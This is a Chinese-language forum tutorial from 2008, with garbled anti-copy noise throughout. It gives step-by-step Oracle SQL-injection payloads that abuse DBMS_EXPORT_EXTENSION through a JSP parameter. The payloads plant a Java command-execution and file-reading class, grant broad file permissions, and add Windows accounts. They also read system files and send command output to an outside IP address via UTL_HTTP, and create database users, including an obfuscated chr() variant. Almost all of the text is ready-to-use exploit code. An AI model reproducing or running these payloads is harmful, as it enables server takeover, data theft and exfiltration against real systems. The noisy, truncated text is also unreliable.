以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ( J' T" }. H3 ?8 C, }5 r) v
9 h" m3 r$ K3 k8 L /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
/ k+ p- _4 U8 Y, ?2 t的形式即可。(用" 'a'|| "是为了让语句返回true值)
8 f- \" n7 ~' o语句有点长,可能要用post提交。 . V" z n9 t) l1 v4 ]
以下是各个步骤: : A+ D+ z- N( U( R" l4 a: T7 D
1.创建包
* X/ `- ^6 t+ h1 ^. F通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
- @$ K$ a$ N- d/xxx.jsp?id=1 and '1'<>'a'||( 5 F. }! Y b, s% P4 E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' p& V. q& A: N" Gcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 E9 Z5 x3 F3 } [. U
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
# \3 P' D3 C7 n# q}'''';END;'';END;--','SYS',0,'1',0) from dual : _4 c0 F \0 b) v8 V
) ( Q9 Q6 S$ E5 P0 Y; W X8 P
------------------------ 9 v; q0 N7 C8 a [
如果url有长度限制,可以把readFile()函数块去掉,即:
* A9 d3 p0 d7 k3 h/xxx.jsp?id=1 and '1'<>'a'||(
2 q6 T/ L, V+ [8 t& N p/ }0 t$ Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 ^+ O* D) L1 u6 n$ y$ L
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% i' Y' s, S3 F& F7 A: enew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
# b1 b' J3 ]! d0 e+ A/ c}'''';END;'';END;--','SYS',0,'1',0) from dual : i9 y2 X* Y$ g
) # S. t7 E, \+ \; P) s9 X H
同时把后面步骤 提到的 对readFile()的处理语句去掉。
3 i- e1 [. y6 n! G) F3 o" c------------------------------ ; n ?$ E( ? \6 b
2.赋Java权限
% {3 {- R! k4 p2 d" ^- h4 m- y" mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual0 Z, _ R* {7 C2 }
3.创建函数 , v5 f8 Y; S3 E8 m5 R- J/ E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ R7 }0 W1 c0 O% k& Z6 p$ jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
C& g9 @/ M i- H8 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, W3 N1 A" u$ ~7 z6 @create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual2 b4 z. N3 ?1 G5 m0 c
4.赋public执行函数的权限
" y. y3 U" ~8 x- kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual' K( y3 l5 u8 [; n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual2 y x9 ]0 c. z" N. v2 E
5.测试上面的几步是否成功 & @$ G4 b5 N" S. e! D
and '1'<>'11'||(
4 }' }# c; ]# G& \- d: i" ^select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
$ w3 D. Q; x: J/ T( |- h4 Q) & y2 e9 a$ Q ? z5 J9 \% `2 G
and '1'<>( , M$ p& B6 H" p
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
) Q: Y( ^* d7 ?1 r+ M)
1 G3 q5 f9 b. p: g" J+ C! X6.执行命令:
- \. M' _! e, P$ Z0 P3 h7 ^/xxx.jsp?id=1 and '1'<>( & c2 a/ \+ ]5 U# @- i1 `3 X
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
" l! C% T$ X2 h( d) `8 u* Q9 m& {. }3 J, R5 C! W j
)
$ C5 H. U J4 y( Z2 Z9 y$ V; {" C/xxx.jsp?id=1 and '1'<>( 6 t* R3 g, Z7 ?9 G: @
select sys.LinxReadFile('c:/boot.ini') from dual
# |/ P) Y9 r* r6 s6 Q. l
$ J6 j* ?; k# o)
b' a: l8 G# p; z# Q Y2 B7 j 6 S( J5 W3 _% u
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 ^" ~+ c* s5 I8 W0 h$ u) ]6 a, D3 G
如果要查看运行结果可以用 union : & G) @* r; H5 x# L% b$ i8 f
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
0 s0 c* F+ T1 L$ n, E9 _或者UTL_HTTP.request(:
# Y+ o5 _$ R/ b4 s9 J/xxx.jsp?id=1 and '1'<>(
* I: D4 i! ]: U" |% Y$ _SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
& n1 V9 s! X% W6 t) ' [. d: y% T3 U! _1 f! I
/xxx.jsp?id=1 and '1'<>(
$ {5 ]1 T3 a! B1 v) ]7 o8 p5 I2 _+ E JSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
; I4 `! y9 m, Q% l5 b- A) $ E9 K5 n6 m6 j+ q/ } p
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
- ^( q/ ?8 u8 [6 t--------------------
* n. V& c% G' R1 F$ A6.内部变化 i3 `9 Y/ w) l% j. G
通过以下命令可以查看all_objects表达改变: 2 q% r5 w. p' p ^1 N! P; p9 Q
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
7 `5 N7 T. e8 S. Y7.删除我们创建的函数
7 P9 T" a' G9 h. ]; N$ _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! j; v+ o' a) t" s8 }drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
1 I, y/ y3 m: ?; k9 i! n% ^====================================================
% c. Z D" h# W( t' k9 Q/ h全文结束。谨以此文赠与我的朋友。 # y9 B; ]) O W) C! D8 d) Q
linx
3 ^1 G6 D" f9 B- ?" g$ E- C" i) M! S124829445 4 x8 B; x5 v4 L% u0 p. G
2008.1.12 ! S( y& f: h- m; N! k0 Z
linyujian@bjfu.edu.cn
. X \3 i" P# y/ \, u====================================================================== % y! R$ E0 y! W' B& w# y5 F
测试漏洞的另一方法:
# w. }0 F. e. [$ {% P" {: u' Z5 q: \, ~创建oracle帐号: 8 m$ x$ S2 E) O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 a! o. c8 t! lCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
/ k: r7 ]4 G; W1 r/ L9 V即:
5 Z- B+ g5 G+ uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82)," b5 N& X' [" Y, p1 |5 R/ ~/ W' @
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 6 i+ A6 w+ d% w, h) L% y
确定漏洞存在:
' A: j; }5 s7 L% v# U2 p. l7 K# h1<>(
& l* Y' x% O; C& b' w/ Y% mselect user_id from all_users where username='LINXSQL' % J" E; f/ }" ]% v. t% K' c8 Z3 W; b+ N6 a
)
; d9 q" f7 _4 `0 g6 l" P1 g! y: {给linxsql连接权限:
' i6 Q$ F% \, G0 t0 r! E- X& {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
x. _7 f) y4 V. HGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ' Q' [& F+ U9 x% C; ^, L6 C
删除帐号: ( N0 G- v+ j/ s& h/ P: U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') S9 L/ F- S, V
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual + m1 W- F; ~) O3 _" e4 J
======================
0 a' z0 I+ h7 ~, K* a* Y以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:3 h7 l3 k; T% ]2 m, @: g' Y
1.jsp?id=1 and '1'<>( . r* c! b5 ?" o: Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! z3 r5 s& D7 @: H5 k I. X
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual# _8 N4 g4 v* ?* v2 Q
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE3 Q% u; D% o- k7 E
)( I; F' ]' { n$ g# K/ [0 o6 x
, Z8 R/ L3 M9 d! Q0 c/ Y
^2 H/ d" X. @. e
* L+ i1 I! h5 q3 `9 g9 t5 n8 c. J |